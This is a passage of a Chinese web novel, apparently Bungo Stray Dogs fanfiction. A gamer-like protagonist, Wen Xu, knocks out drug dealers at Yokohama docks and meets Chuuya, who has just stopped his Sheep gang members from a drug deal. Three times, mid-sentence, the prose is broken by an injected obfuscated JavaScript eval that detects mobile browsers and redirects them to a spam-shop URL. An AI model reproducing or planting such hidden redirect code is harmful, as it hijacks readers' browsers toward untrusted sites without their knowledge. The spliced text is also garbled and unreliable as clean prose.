话音刚落,四根粗实的木制棒槌,凭空出现在守卫们的后脑勺处。 咚咚咚咚。 四声闷响后,他们连哼都没哼就软倒在地,手里的枪也掉在地上。 【汰,吃俺老孙一棒 等级:SR 类型:一次性 介绍:三小时内可召唤棒槌,根据主人意愿活动。但请注意,这些棒槌有自己的小脾气,它们只愿意敲击后脑勺哦。(若强行让它们攻击其他部位,它们会集体罢工抗议。)】 温叙满意地点点头,脚尖轻轻踢开挡路的枪支,“这简直是居家必备之物啊,来一棒,什么烦恼就没有了。” 他推开沉重的仓库铁门,吱呀声在空旷的室内回荡,吸引了所有人的注意。 仓库内摆着一张长桌,一侧是几个打开的皮箱,里面整齐码放着成捆的纸币,另一侧则是透明的密封袋,装着白色粉末状物质。 两拨人分别站在桌子两侧,交易显然已进行到关键阶段,看到突然闯入的不速之客,众人脸色骤变,有人下意识摸向腰间武器,有人则惊慌地后退半步。 温叙扫了一眼,叹了口气,摇头晃脑地走进去:“这么晚还不下班,在这搞非法活动,多伤身体啊,来,我帮大家做个头部按摩。” “免费体验,保证提神醒脑,一次见效,无效退款啊。” 心念一动,棒槌大军再次出动。 仓库上方密密麻麻地浮现出数十根棒槌,它们在空中划过一道道残影,带着呼呼风声,精准地朝着每个人的后脑勺飞去。 噼里啪啦的敲击声瞬间响彻仓库,伴随着此起彼伏的惨叫和求饶。 有人试图开枪反击,但手指刚摸到扳机,后脑勺就挨了一记重的,眼前一黑直接趴地上了,有人想往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054952|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货箱后面躲,棒槌却会拐弯,追着后脑勺敲。 “等等……”温叙突然竖起耳朵,眼睛越来越亮,像是发现了新大陆。 “这个声音有节奏啊!” 那些棒槌敲击在不同人的后脑勺上,发出的声音高低不一,加上敲击的间隔时间不同,竟然形成了一种奇特的韵律。 敦实的“咚”,清脆的“哒”,闷闷的“砰”,交织在一起。 他来了兴致,开始用意念指挥棒槌:“左边那个光头,来点重低音,右边戴帽子的,敲个三连击,后面那个想跑的,给他来个渐强音效。” 随着他的指挥,棒槌敲击竟然真的形成了有节奏的旋律,从杂乱无章逐渐变得有序,甚至能听出简单的调子。 温叙随着节奏轻轻晃动身体,小声哼唱:“哒哒,咚咚哒,哎对,就是这个感觉。” “饶命啊!我们知道错了。” “别打了别打了,头要炸了。” “我们投降,你想要什么,钱,货,我们都给你,求你别敲了!” 毒贩们哭爹喊娘,有几个已经抱着脑袋蹲在地上瑟瑟发抖,眼泪鼻涕糊了一脸。 “别吵别吵,”温叙摆摆手,一脸认真,“等我完成这首《码头夜曲》,啧,还差个高潮部分。” 他目光在仓库里扫视,最后锁定一个试图爬向侧门小窗的异能力者。那人周身环绕着淡蓝色的光,显然在拼命催动能力。 “就你了。”温叙眼睛一亮。 下一秒,三根棒槌出现在那人后脑勺上方,依次落下。 咚,咚,哐! 最后一击格外响亮,那人身体一僵,然后软软倒下,周身的光也消散了。 世界清静了。 温叙环视一圈横七竖八躺倒在地的人,遗憾地撇撇嘴:“时间太短,不然能编个交响乐出来,可惜了。” 中尾勇真带着下属迅速进入仓库,先是示意一波人去查看倒在地面上的人员,把还留一口气的人先一步带回去,在医疗室进行治疗,之后再移交刑讯部。 然后他来到温叙身边,看了眼怀表:“大人,接下来我们要去八号码头,车已经准备好了。我们伪装的消息已经发了过去,对方没有起疑,我们现在过去正好赶上他们谈判。” 森鸥外安排的暗探不是吃素的,被温叙找上门击败的消息没有败露,并且还伪造了信息,传递了“交易成功”的信息,让对方完全放松了警惕。 由中尾勇真带路,在温叙强大的战力下,他们在最短是时间内接连击溃了三个交易地点的人。 每次行动都干净利落,棒槌大军所向披靡,温叙甚至开始给不同仓库的“演奏”编号命名。 《午夜港口狂想曲》、《八号仓库小调》、《三号码头夜咏》。 “大人,最后一处了。”中尾勇真指向远处的六号码头,那里灯光昏暗,只有仓库缝隙中透出微弱光亮。 六号码头的战斗如摧枯拉朽般结束,就在最后一个人软倒在地时,五波交易点已全部解决。 温叙拍拍手上不存在的灰尘,伸了个懒腰:“收工收工,可以回去睡……” 他的话戛然而止。 仓库墙壁被一股狂暴的力量直接轰开一个大洞,砖石飞溅中,一道笼罩在暗红光芒中的身影,踏着碎石走进来。 赭色头发在异能光晕中飞扬,钴蓝色的眸子燃烧着怒火,死死盯住了温叙。 “就是你们——”对方的的声音冰冷,周身的红光愈发炽烈,地面在他脚下寸寸龟裂,“敢利用‘羊’的人做这种勾当?” 19.第19章 中原中也今天下午巡逻回来时,踏入基地时便察觉到气氛有些异常。 往常这个时候,羊的成员们都会围上来,七嘴八舌地问他又带回了什么,可今天基地门口却异常安静。 几个年纪较小的孩子躲在集装箱后面探头探脑,见到中原中也回来,眼神躲闪着缩了回去,但很快又探出来,勉强挤出笑容。 “中也,你回来了。” “嗯。”中原中也应了一声,目光在人群中搜寻,“白濑呢?” 人群稀稀拉拉地聚拢过来,眼神却飘忽不定,没人敢与他对视。 他的目光穿过人群,落在白濑身上,对方正和几个同伴凑在一起低声说着什么,见中原中也看过来,立刻散开了。 “白濑,”中原中也的声音不大,却让周围瞬间安静下来,“你今天没离开基地吧?” 白濑的身体几不可查地僵了一瞬,随即脸上迅速堆起愤懑的表情:“中也,你这是什么意思?就这么不信任我?” 他转向周围的其他成员,声音拔高:“你们说,我今天是不是一直待在这里?” 那些原本眼巴巴盯着中也手中食物的孩子们你看看我,我看看你,其中一个怯生生地开口:“是、是的,白濑哥哥今天一直和我们在一起。” “我们都可以作证。”另一个瘦小的孩子急忙接话:“他没出去。” “对啊中也,我们轮流看着他呢。” “中也你不相信我们吗?” 七嘴八舌的附和声在中原中也耳边响起,他皱起的眉头渐渐舒展,也许是他太敏感了,盯着白濑看了几秒,他终究还是松了口: “好吧,我相信你。”他叹了口气,“但是白濑,你记住,最近真的不能再乱跑了,上次的事太危险了。” 想起前天那场冲突,中原中也依然心有余悸。若不是他恰好留在基地,那些持枪的黑.手党成员不知会造成什么后果,白濑偷来的那瓶红酒,差点酿成大祸。 “我知道了啦。”白濑不耐烦地摆手,嘴里嘟囔着,语气里满是不服,“不就是几瓶酒嘛,谁知道他们会那么小气,而且不是有你在吗?你说过会保护我们的。” “我是会保护你们,”中原中也压抑着怒气,“但我不可能时时刻刻跟在每个人身边,要是下次我不在的时候他们再来,你们怎么办?” 眼看气氛紧张起来,一个粉头发的女孩适时地插了进来:“好了好了,中也你别生气了,白濑他已经知道错了。” 柚杏转向白濑,使了个眼色:“对吧,白濑?” “知道了,我下次会注意的。”白濑不情不愿地点了点头:“我这几天不是都待在基地的吗?” 中原中也紧抿着唇,将未尽的话语咽了回去,不再纠缠。 这时柚杏已经凑到食物袋旁,眼睛一亮:“中也,这是给我们的吗?我们都饿坏了。” 她一开口,周围眼巴巴看着的孩子们也活跃起来。 “哇!终于可以吃饭了。” “有肉吗有肉吗?” “今天只有三明治,”中原中也有些抱歉地说,“明天我再想办法弄点肉。” “没关系,总比没有好。” 孩子们一拥而上,兴高采烈地分食着简单的晚餐。 柚杏多拿了一个,走到中原中也身边递给他:“中也,你也吃吧。” “谢谢。”中原中也接过三明治,却没什么胃口。他的目光扫过欢声笑语的同伴们,又回到白濑身上。 白濑正和几个成员聚在角落,似乎在商量什么。 柚杏顺着他的视线看去,轻声说:“别担心了,我们会看着他的。再说了,有你在,谁还敢来找‘羊’的麻烦?” 匆匆吃完晚饭,中原中也起身准备继续巡逻,临走前他再三叮嘱:“都待在基地附近,别单独行动,知道了吗? 然后他顿了顿,又补充道:“都看好白濑,不许让他离开基地。” 镭钵街的夜晚从不真正安宁,中原中也巡视着羊的领地边界,几个小时的巡逻中,他赶走了两拨试图潜入的小偷,处理了一起地盘争端,回到基地时已是深夜。 基地里静悄悄的,已是晚上十点多。大部分人已经睡了,让他意外的是,白濑和柚杏还醒着,坐在入口处低声说话,似乎专程在等他。 “中也,你回来了。”白濑站起身,语气比平时温和许多,“今天下午……对不起,我不该那么跟你说话。” 中原中也愣了一下,还没回应,白濑继续说道:“所以我想了个补偿的办法,今晚我们来守夜,你好好休息吧。这几天你白天巡逻晚上守夜,太累了。” 柚杏也在一旁点头:“是啊中也,你就放心睡吧。有情况我们马上叫你。” 中原中也听后,有些不好意思地说:“不用了,白濑,你知道错就行了,还是有我来守夜吧,他们毕竟还有人跑回去了,不能松懈。” “你们还是早点休息,明天还要看守大家。” 白濑的脸上一丝着急飞快掠过,但他很快掩饰过去,语气变得诚恳:“中也,这是我对你的道歉。” 他向前走了一小步:“还是说,你不愿意接受。” 中原中也一听,连忙摆手:“不是不是,只是你们没有异能力,万一真有事,反应不及……”受伤了怎么办? “不是有你吗?”白濑迅速打断他,语气里满是理所当然:“而且他们也不敢真来,这几天晚上不是挺平静的吗?” “再说了,就算真的有人摸过来,我们两个就在外边,喊一声就能听到,你能立刻赶过来,不会有事的。” “是呀,中也,有你在,我们在外边肯定是安全的。”柚杏附和道:“你这几天也累坏了,今天就有我们来替你分担一次,你也好好休息。 中原中也想拒绝,但看着两人诚恳的表情,到嘴边的话又咽了回去。也许他真的需要休息一下,连续几天的高度警惕让他精神紧绷。 “好吧,”他终于松口,“但一有动静马上叫我。” “放心啦。”白濑几乎是推着他往休息区走,“有我们在呢,你快休息吧。” 棚屋里铺着纸板,孩子们挤在一起睡得正熟,中原中也躺下不久,沉重的疲惫感袭来,很快就睡着了。 听到他均匀的呼吸声,白濑明显松了口气。他对几个还醒着的成员使了个眼色,压低声音威胁:“都机灵点,不该说的别说。” 然后,他才和柚杏,带着另外两个少年,悄悄溜出了基地。 他们站在距离基地稍远的地方,夜风很凉,吹得人打了个哆嗦。 “白濑,我们真的要去吗?”一个少年满眼担忧,“中也知道了会不会就不管我们了?” “对呀,要不我们不做了。”又一个少年小声附和,偷偷瞟了白濑一眼,又迅速低下头。 “闭嘴!”白濑低斥,眼里闪过一丝不耐烦,“想想事成之后我们能过什么日子,天天吃三明治的日子你们还没过够吗?” 然后,他压低了声音:“而且这一单,我们不需要花任何钱,只要东西到手,转交出去,以后就什么都不缺了。” “等我们办成了,木已成舟,中也就算想反对也晚了,再说——” 他环视着另外两人,声音放得更缓,却字字敲在他们心上:“我这都是为了大家好。有了钱,羊的大家就都能吃饱穿暖,不用再担惊受怕,这是为了我们所有人的未来。” 听到这番话,两个少年脸上的犹豫逐渐被一种破釜沉舟的希冀取代。他们相互看了看,最终点了点头,声音虽然还弱,却多了份决心:“那……我们就只干这一次,之后再也不干了。” 白濑满意地“嗯”了一声,转向一直沉默的柚杏:“你守在这里,盯着点基地那边的动静,等我们回来。” 柚杏紧了紧单薄的外套,点了点头,声音有些发紧:“好。那你们注意安全,早点回来。” 此时天色已深,镭钵街外只有零星几盏路灯还亮着,投下昏黄的光。 “记着,”白濑一边警惕地打量着四周肮脏的巷道,一边对身后两人吩咐,声音冷硬,“到了地方,什么都别说,一切都由我来谈,你们的任务就是搬东西,明白吗?” “明白了,白濑。” 他们躲躲藏藏,避开偶尔晃过的人影和可能存在的眼线,在贫民窟里走了很久,才终于摸到镭钵街的边缘,再往外,就是横滨那相对“正常”的城市街道了。 “到时候我们真的能赚到很多钱吗?”一个少年忍不住问,声音里带着的期待。 “当然。”白濑肯定地说,嘴角勾起一个弧度,“只要你们听话,按我说的做,到时候,钱会多到花不完。” “那我们是不是可以在镭钵街外面买栋房子?”另一个少年憧憬地说,“大家都住在一起,有温暖的床,有干净的水……” “到时候想吃什么就吃什么,想穿什么就穿什么。” 离开了混乱、充满危险的镭钵街,站在相对整洁的街道上,看着远处楼宇窗户里透出的温暖灯光,少年们似乎被这想象中的未来攫住了,开始七嘴八舌地低声描绘起来, “只要你们听我的话,别说房子了,你们什么都会有的。” 此时,另一边,基地里只有孩子们均匀的呼吸声。 中原中也却睡得极不安稳,心底那根弦始终绷着,仿佛有什么不好的事即将发生,他猛地睁开眼。 他悄无声息地起身,拨开隔断用的破布帘,走到基地入口处,外面只有应急灯投下的一小圈昏黄光晕,以及孤零零的柚杏。 听到脚步声,柚杏转过头看见中原中也时,眼神慌乱地游移,连声音都变了调:“中也,你、你怎么醒了?” 中原中也没回答她的问题,目光扫过空荡荡的四周,最后钉在柚杏写满心虚的脸上。 “白濑呢?”他心中警铃大作。 “他……他去厕所了……” “是吗?他在哪个厕所?那我在这里等他。” “别,不用,他很快就回来,你去睡吧。” 柚杏越是遮掩,中原中也的眼神就越冷。他逼近一步,声音放大大,带着怒火:“柚杏,别替他打掩护,告诉我,白濑到底去哪了?去干什么?” 在他的逼视下,柚杏的心理防线彻底崩溃,眼泪一下子涌了出来,抽噎着断断续续道:“他、他和码头区的人谈了一笔交易,今晚要去取货。” “什么交易?”中原中也的心不断往下沉。 “是……是……”柚杏的嘴唇几乎咬出血,眼看中也的眼神越来越可怕,终于破罐子破摔,闭着眼喊了出来,“是毒.品,他们约了今晚在六号码头的二号仓库交易。” “你们——”中原中也只觉得一股怒火直冲头顶,拳头捏得咯咯作响。 他看着哭得狼狈的柚杏,满腔的怒火堵在胸口,最终化为一声沉重的喘息。他什么也没再说,周身泛起红光,瞬间冲天而起,朝着柚杏所说的方向飞过去。 他的速度很快,凛冽的风吹过耳畔,很快,那三个熟悉背影便出现在视野中。 “我说,你们要去哪里?”中原中也轰然落地,挡在三人面前,他抬起脸,钴蓝色的眼眸燃烧着怒意。 “我不是说了,你们什么都不要弄,你们想要的我会给你们,你们怎么敢去和那些人做交易。” “而且还是毒.品交易,你们怎么敢干这种交易。”他向前一步,气势逼人,“你们知不知道那是什么东西?沾上了还能有好下场?” 他的声音因愤怒而发颤:“你们万一出事怎么办?” 白濑看到中原中也,表情僵了一下,随即被羞怒扭曲:“中也,你跟踪我们?” 他尖声反驳,试图用音量掩盖心虚,“我们只是想自己赚点钱,难道在你眼里,我们离了你就什么都不是,只能当被你圈养的废物吗?” “自己赚钱?”中原中也气得几乎要笑出来,他上前一步,“你们管这叫‘赚钱’?和那些黑.手党交易毒品?白濑,你是不是忘了前几天他们端着枪指着你的时候了?” “那、那是意外。”白濑梗着脖子,脸涨得通红,“这次不一样,我们谈好了,有了钱,羊的大家就再也不用过这种日子了,连你也不用那么辛苦。你凭什么拦着我们?你就是看不起我们,觉得我们没能力,离了你的异能就一事无成吧。” “我看不起你们?”中原中也的怒火几乎要冲破胸膛,“我是看不起你们拿命去赌,万一他们中途翻脸,黑吃黑,你们怎么办?用你们那点三脚猫的功夫去跟子弹讲道理吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066616|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他深吸一口气,强迫自己冷静些许,但声音依旧低沉:“而且,沾上这种东西,你们以为以后还能脱身?他们会缠上你们,把你们最后一点价值榨干,到时候,整个‘羊’都会被拖进泥潭。” “我不管,这是最快的方法。”白濑已经被愤怒和对财富的渴望冲昏了头,“你就守着你的那套迂腐的道理,让我们永远烂在镭钵街吧。” “够了!”中原中也终于失去了最后一点耐心,异能微光在他周身浮动,“我说,回去。现在。” 强大的压迫感让白濑和两个少年噤若寒蝉。最终,在绝对的力量差距面前,所有的反抗都化为徒劳。 中原中也无视了白濑怨恨的眼神和一路的沉默,几乎是押送着他们,迅速返回了基地。 基地门口,一直惴惴不安等待的柚杏看到他们回来,特别是中原中也那山雨欲来的脸色,心猛地一沉。 她急忙迎上去,试图缓和气氛:“中也,你找到他们了,他们知道错了,真的,你就原谅他们这次。” “原谅?”中原中也落地站定,目光锐利地扫过柚杏,又落在垂头丧气的白濑身上,“要不是我中途醒了,你们是不是就打算一直瞒着我,直到东窗事发,或者……横尸街头?” 他闭了闭眼,压下翻腾的情绪,斩钉截铁道:“这几天,所有人,没有我的允许,谁也不准踏出基地范围半步。” “现在,全部回去,睡觉。” 看着他们磨磨蹭蹭地挪回那片用破布和纸箱隔出的简陋睡铺,中原中也才稍稍平复了一下激荡的心绪。 他迅速行动起来,在基地外围的位置布置了陷阱,确保防御措施暂时完备后,他才再次化身暗红的流光,以比之前更快的速度,朝着六号码头方向全力飞去。 六号码头的轮廓在夜色中显现。然而,眼前的景象却让他瞳孔微缩,仓库区域被严密封锁了。 他心头一沉,怒火再次燃起,混杂着后怕。他简直不敢想象,如果白濑他们真的傻乎乎地过来“交易”,面对这种阵仗,对方若想黑吃黑,那几个小子会是什么下场。 赭发少年从空中俯冲而下,无视了下方传来的厉声警告和骤然朝他射来的子弹,没有丝毫犹豫,他重重砸在二号仓库厚重的外墙上,抬脚便是一脚灌注了异能的猛踹。 墙壁应声破裂,尘土与碎屑弥漫飞扬,他穿着扭曲的断口,沉着脸走入仓库内部。 惨白的灯光下,照亮了仓库内的一片狼藉,许多人横七竖八地倒在地上。 仓库中央,翻倒的桌椅旁,几个打开的箱子里,刺眼的透明密封袋散落出来,里面装着密密麻麻的白色粉末。 果然在这里。 中原中也心头火起,目光扫过全场,厉声喝道:“就是你们,敢利用‘羊’的人做这种勾当?” 尘埃稍落,视野清晰,他这才注意到,除了地上那些被打倒的“交易方”,仓库内还站着一个人。 一个看起来年纪不大的黑发青年。 他穿着简单的休闲连帽衫和长裤,姿态甚至显得有些过于放松,双手插在兜里,微微偏着头,正好奇地打量着破墙而入的他。 眼神里没有惊恐,没有敌意,反而充满了某种好奇。 地上躺着的是毒.贩,看来自己确实搞错了对象,解决这些渣滓的,似乎是眼前这个奇怪的青年? “你是什么人?”中原中也收敛了些许外放的怒意,但警惕未减,目光紧紧锁住黑发青年,周身红光未散,“这些人,是你放倒的?” 温叙眨了眨眼,似乎才从“欣赏特效”的状态里回过神来。 他嘴角一翘,露出了一个堪称灿烂的笑容,声音清亮,带着毫不掩饰的雀跃: “哇哦!刚才那个出场方式,超酷的。”他甚至还比划了一下,“‘咻’地飞下来,‘砰’地踹开墙,好厉害。” 中原中也:“……?” 这反应是不是有哪里不对? 温叙像是没看到中也那一瞬间的愣怔,自顾自地继续说了下去,语调轻快: “这些人啊?嗯,是我摆平的。谁让他们大晚上不睡觉,在这里搞些危害青少年身心健康的东西,还吵吵嚷嚷的,影响市容。” 他皱了皱鼻子,做了个嫌弃表情,随即目光重新落回对面的少年身上,眼睛弯起,里头的好奇几乎要满溢出来。 “不过,你过来是干什么的?不会是来替天行道的中二少年把?” 温叙饶有兴致地打量着眼前的少年,这建模精细度,跟地上躺着的那些简直不是一个维度的存在。 赭发蓝眼,五官轮廓清晰得过分,连外套衣角的磨损都带着种精心设计过的真实感。 这哪是普通NPC,这分明是行走的剧情关键点。 一个半透明的面板悄无声息地在少年头顶浮现: 【姓名:中原中也 年龄:??? 异能力:污浊了的忧伤之中 阵营:羊】 羊? 哦豁!羊之王,中原中也。 温叙想起来了,镭钵街那片特殊地图里,确实有个以未成年异能者为核心的团体。他之前还琢磨着去那边溜达溜达,说不定能发现隐藏剧情呢。 现在倒好,不用他找,NPC自己砸穿墙壁送上门了。 至于年龄显示异常?温叙内心的小雷达“滴滴滴”响个不停。以他多年游戏经验,这种异常通常意味着隐藏身世、特殊背景,或者……根本就不是人类? 不管是什么,眼前这位绝对是关键剧情人物没跑了。 他心思转得快,脸上却丝毫不显,他歪了歪头,用一种自来熟的好奇口吻,追问道:“对了,你多大啊?” “十五。”中也几乎是条件反射地脱口而出,随即猛地反应过来,眉头瞬间拧起,带着恼怒,“喂,搞清楚先后顺序,你还没回答我你是什么人呢?” 哦?十五岁?回答得这么干脆,看来他本人对这个年龄数据异常并无自觉? 温叙微微扬眉,心中的探索欲更盛了。看来这位“羊之王”身上缠绕的剧情线,比预想的还要有趣,搞不好真的和镭钵街这个地图的诞生根源直接相关。 就是不知道这个npc是事件的主导者、参与者,还是旁观者。 20.第20章 就在这时,中尾勇真带着几名部下从仓库正门方向急急冲了进来。伴随着凌乱的脚步声,数个枪口瞬间齐齐对准了这位不请自来,还暴力破墙的赭发少年。 “不准动!你是什么人?和这些人是一伙的吗?” 中尾勇真厉声喝问,眼神警惕地扫过地上横七竖八的人,最后定格在中原中也身上。他身后的部下迅速散开,形成半包围态势。 中原中也虽然意识到认错了人,但对方黑.手党的身份依旧让他本能地排斥。他不耐烦地“啧”了一声,语气相当不客气: “哈?讲不讲道理?分明是我先问的问题还没得到回答,你们倒审问起我来了?” 温叙从发现隐藏剧情的激动中稍微平复,他抬起手,做了个暂停的手势,示意中尾勇真等人稍安勿躁。 “放松点,这位可不是来找我们打架的。” 然后他转向中原中也,解释道:“我们是港口mafia的人,今晚在这里,是为了处理一些内部的不安定因素,顺便招待一下这些不懂规矩,敢在我们地盘上做毒品生意的客人。” 他说话时语调轻快,和周围剑拔弩张的气氛形成了鲜明对比。 “那么,轮到你了。”温叙好奇地问:“你过来,是为了什么?总不会真是来拆房子的吧? 中原中也冷哼一声,下巴微扬:“这些渣滓,想让我们羊的人帮他们交易毒品,我来,就是要亲手把这个麻烦连根拔掉。” 他看了一眼地上的狼藉,又瞥了瞥温叙和他身后那些明显训练有素的黑.手党,虽然不爽,但事实摆在眼前,“……看来,是被你们抢先了一步。” 他停顿了一下,抬起眼,钴蓝色的眸子直视温叙,语气依旧硬邦邦的,却带着一种清晰的承诺意味: “不管怎么说,你们动手清理了这帮垃圾,也算间接替‘羊’解决了一个潜在的祸害。这份人情,我中原中也记下了,以如果有需要帮忙,可以来镭钵街找我。” ……啊? 温叙眨了眨眼,上上下下地打量了一眼中也,脸上露出毫不掩饰的惊奇表情。他甚至往前凑了凑,像是要确认自己是不是听错了。 “哇哦……”他发出一个小小的,充满惊叹的气音,随即笑起来,“你这个人,还真有趣。” 中原中也被温叙那毫不遮掩的的新奇的目光看得浑身不自在,一股热气悄悄爬上耳根,他忍不住恼火地瞪回去:“你看什么?不想要这个机会就算了。” “没有没有。”温叙连忙摆手,语气轻快又直白,甚至还笑眯眯地比了个“OK”的手势,“只是稍微有点意外,你竟然是这么……嗯,恩怨分明的性格?” 他托着下巴,指尖无意识地点着脸颊,眼神亮晶晶的,像是在分析什么有趣的现象。 “按理说,在镭钵街那种地方摸爬滚打上来,不是应该更,” 他顿了顿,似乎在寻找合适的词汇,“更警惕排外?或者更注重实际利益,避免轻易许诺?毕竟随便欠人情可不是什么好习惯。” 中原中也被他这番坦率的评价说得一噎,反驳的话在舌尖转了几圈,却在撞上对方那双纯粹好奇的,毫无恶意的眼眸时,莫名有些泄气。 “哼,镭钵街又怎么了?” 他别过脸,语气依旧硬气,却少了几分火药味,多了点不易察觉的别扭,“我想做什么,和我从哪里长大有什么关系。 说完,他像是忽然想起什么,又转回头,目光直直看向温叙:“喂,我叫中原中也,你叫什么?” “温叙。”温叙回答得干脆利落:“我是温叙。” 中原中也盯着他看了两秒,点了点头,橘色的发梢随着动作轻轻晃动:“好,我记住了,你以后有事去镭钵街找我。” “那我就先走了。”那些人被解决后,中原中也也没有了在这里呆的理由,他还他还惦记着基地里的白濑他们。 他丢下这句话,周身红光微闪,似乎准备离开,但脚步又顿了一下,背对着温叙,硬邦邦地补充了一句,“……记得,有事来镭钵街找我。” 话音落下,他的身影便化作一道迅疾的风,从自己撞破的墙洞中掠出,消失在横滨沉沉的夜色里。 温叙看着那道身影远去,摸了摸下巴,小声嘟囔着:“镭钵街的‘羊之王’?这NPC设计得真不错。” 他转身,拍了拍身上不存在的灰尘,对着还在警戒状态的中尾勇真等人说:“好啦好啦,热闹看完了,你们把这里打扫干净,动作快点,说不定还能赶上夜宵呢。” 他说完,脚步轻快地朝着仓库门口走去 第二天下午,温叙独自一人走进了镭钵街。 他看着这个地方,破旧的建筑物像歪歪斜斜地相互倚靠,像是随时都会倒塌。 地面上铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074431|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着湿漉漉的纸箱和发霉的布料,有些“床铺”上蜷缩着人影,只露出一双眼睛,随着温叙前进的动作缓缓转动,警惕而麻木。 墙角处,衣衫褴褛的人们三五成群。不远处,一场关于半个发霉面包的争夺正在进行。 抢到面包的人第一时间将食物塞进嘴里,同伙则焦急地从他手中抠出碎屑,咀嚼声、争夺声、压抑的呜咽声交织在一起,构成了镭钵街最日常的背景音。 “这地图做得也太真实了。”温叙小声感慨,目光里带着纯粹的好奇,像在参观某个有趣的展览。 他刚走过一个拐角,就有几道不怀好意的目光锁定了他,三个男人从阴影里走出来,挡在他面前。 “小子,穿得挺干净啊。”为首的男人咧开嘴,露出黄黑的牙齿,眼睛死死盯着温叙看起来质地不错的衣服,“借点钱花花?或者把这身衣服留下也行。” 温叙停下脚步,叹了口气,表情相当无奈:“我说你们啊……” 话音未落,他身影一晃。 三秒钟后,那三人已经倒在地上,不知死活。 他抬手整理了一下微微凌乱的衣领,接着补全了刚才未说完的话: “能不能长点脑子啊,能一个人大摇大摆走进镭钵街深处的,会是什么好招惹的人吗?” 他的声音不大,但足够让周围那些暗中观察的人听清。那些原本蠢蠢欲动的目光瞬间少了大半,不少人悄悄退回了阴影里,只有少数几个胆子大的还在继续观望。 温叙也不在意,继续往前走。 那些原本挡在路上的人纷纷让开道路,等他走远后,才又回到各自的“战场”,仿佛刚才什么都没发生过。 在镭钵街内部转了一会儿后,他看着周围几乎一模一样的破败景象,慢慢停下了脚步。 破旧的衣服,破旧的建筑,破旧的生活,人们像困兽般挣扎求生。 “等等。”温叙突然一拍脑门,表情变得有点懊恼,黑色的眼睛睁得圆圆的,像是才反应过来什么重要的事。 “我好像忘记问中原中也在镭钵街的具体哪里了?” 他环顾四周,那些暗中观察的人比起外围的更加谨,看到他衣着整洁,毫发无伤地走到这里,他们只是警惕地打量着,没有轻举妄动。 温叙顿了一下,忽然笑了。 山不就我,我来就山。 21.第21章 温叙的视线扫了一圈,最后落在一个躲在断墙后的瘦小男孩身上。那孩子大约到他腰间,正扒着墙沿往这边偷瞄,脏兮兮的小脸上写满了警惕。 “喂,小鬼。”温叙三步并两步蹦过去,完全没控制音量,吓得男孩一哆嗦。 “知道‘羊’的地盘在哪儿吗?带个路呗。” 男孩脑袋埋得更低了,声音细得像蚊子哼:“知、知道……” “那就走吧。”温叙拍了拍他肩膀,完全没在意对方抖得更厉害了。 男孩不敢拒绝,他缩着脖子,带着温叙在迷宫般的巷道中穿行。 温叙走在后面,双手插兜,有一搭没一搭地闲聊。 “你多大了?” “十、十一。”男孩小声回答,脚步加快了些。 “住这儿多久了?” “从、从小……” “‘羊’的人经常在哪里活动?” 男孩回答得磕磕绊绊,温叙也不在意,权当背景音,偶尔“嗯嗯”两声,主要精力都用在观察环境上。 走了约莫二十分钟,男孩在一处相对开阔的地带边缘停下。这里的建筑虽然依旧破旧,但墙上有涂鸦,地面也干净些。 看来是到地方了。 “前面就是羊的地盘了,”男孩小声说,声音里带着畏惧,“我不能进去,会被攻击的。” 哦,对了。温叙眨眨眼,这才后知后觉地想起,在游戏设定里,这种不同势力的小孩之间肯定会存在领地意识,擅自闯入别人的地盘,跟挑衅没两样。 “理解理解。”他摆摆手,从背包里掏出一包昨天在便利店买的面包,拆开尝了一口,甜得齁死人,正好清清背包。 “谢啦,这个给你。” 他随手一抛,男孩手忙脚乱接住,眼睛瞪得老大,还没反应过来,温叙已经蹦蹦跳跳地朝“羊”的地盘冲过去了。 温叙心里美滋滋的。不得不说,这个游戏没有强制任务要求就是自由。虽然完成任务没有系统奖励,但相应的,让NPC帮忙时,也不需要准备什么正式的报酬。 不像某些游戏,明明只是问个路,NPC都能摆出一副“这可是珍贵情报”的嘴脸,不交出点像样的东西绝不开口,黑心得很。 他穿过基地边缘,脚步轻快地往里走,边走边兴致勃勃地打量四周布局。 这里布局还挺有意思,几个制高点都有踩踏痕迹,肯定常有人放哨。墙角还堆着些自制陷阱,虽然粗糙,但放在这巷战环境里却相当实用,足以让不小心的闯入者吃点苦头。 游戏策划确实用心了,温叙在心中暗暗点赞。地图细节丰富,光是探索这片区域、收集环境线索,就够当成一个不错的探险游戏来玩了。 没走多远,前方一处相对干净的空地上,那个熟悉的身影就映入了眼帘。 橘发少年独自站在那里,双手插在兜里,听到脚步声的瞬间,周身泛起淡淡的红光。但看清来人是温叙后,红光迅速消散。 “温叙?”中原中也挑了挑眉,有些意外,“你有什么要帮忙的吗?” 